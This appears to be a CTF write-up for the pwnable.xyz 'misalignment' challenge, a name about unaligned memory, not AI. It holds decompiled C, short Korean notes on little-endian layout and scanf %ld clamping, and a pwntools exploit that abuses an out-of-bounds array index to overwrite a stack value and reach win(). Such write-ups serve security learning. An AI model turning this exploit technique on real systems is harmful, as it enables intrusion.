[pwnable.xyz]misalignment
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+10h] [rbp-A0h]
_QWORD v5[3]; // [rsp+18h] [rbp-98h]
__int64 v6; // [rsp+30h] [rbp-80h]
__int64 v7; // [rsp+38h] [rbp-78h]
__int64 v8; // [rsp+40h] [rbp-70h]
unsigned __int64 v9; // [rsp+A8h] [rbp-8h]
v9 = __readfsqword(0x28u);
setup(*(_QWORD *)&argc, argv, envp);
memset(&s, 0, 152uLL);
*(_QWORD *)((char *)v5 + 7) = 0xDEADBEEFLL;
while ( (unsigned int)_isoc99_scanf("%ld %ld %ld", &v6, &v7, &v8) == 3 && v8 <= 9 && v8 >= 4294967289 )// v8>=-7
{
v5[v8 + 6] = v6 + v7;
printf("Result: %ld\n", v5[v8 + 6]);
}
if ( *(_QWORD *)((char *)v5 + 7) == 0xB000000B5LL )
win();
return 0;
}
0xb5, 0x00, 0x00, 0x00, 0xb0, 0x00, 0x00, 0x00, 0x00 이런식으로 리틀엔디안으로 넣어주면 된다.
64비트에서 scanf의 %ld는 2^63 − 1 보다 큰 값이 들어올 경우 2^63-1 이다.
>>> 0xb500000000000000 - 0xffffffffffffffff - 1
-5404319552844595200L
>>> 0x0b000000
184549376
v5[0]에 0xb500000000000000 , v5[1]에 0x0b000000을 넣어주면 된다.
exploit.py
from pwn import *
#p= process("./challenge")
p=remote("svc.pwnable.xyz",30003)
context.log_level='debug'
p.writeline("-5404319552844595200 0 -6")
p.readuntil("Result: ")
p.writeline("184549376 0 -5")
p.readuntil("Result: ")
p.writeline("1 1 1000")
p.interactive()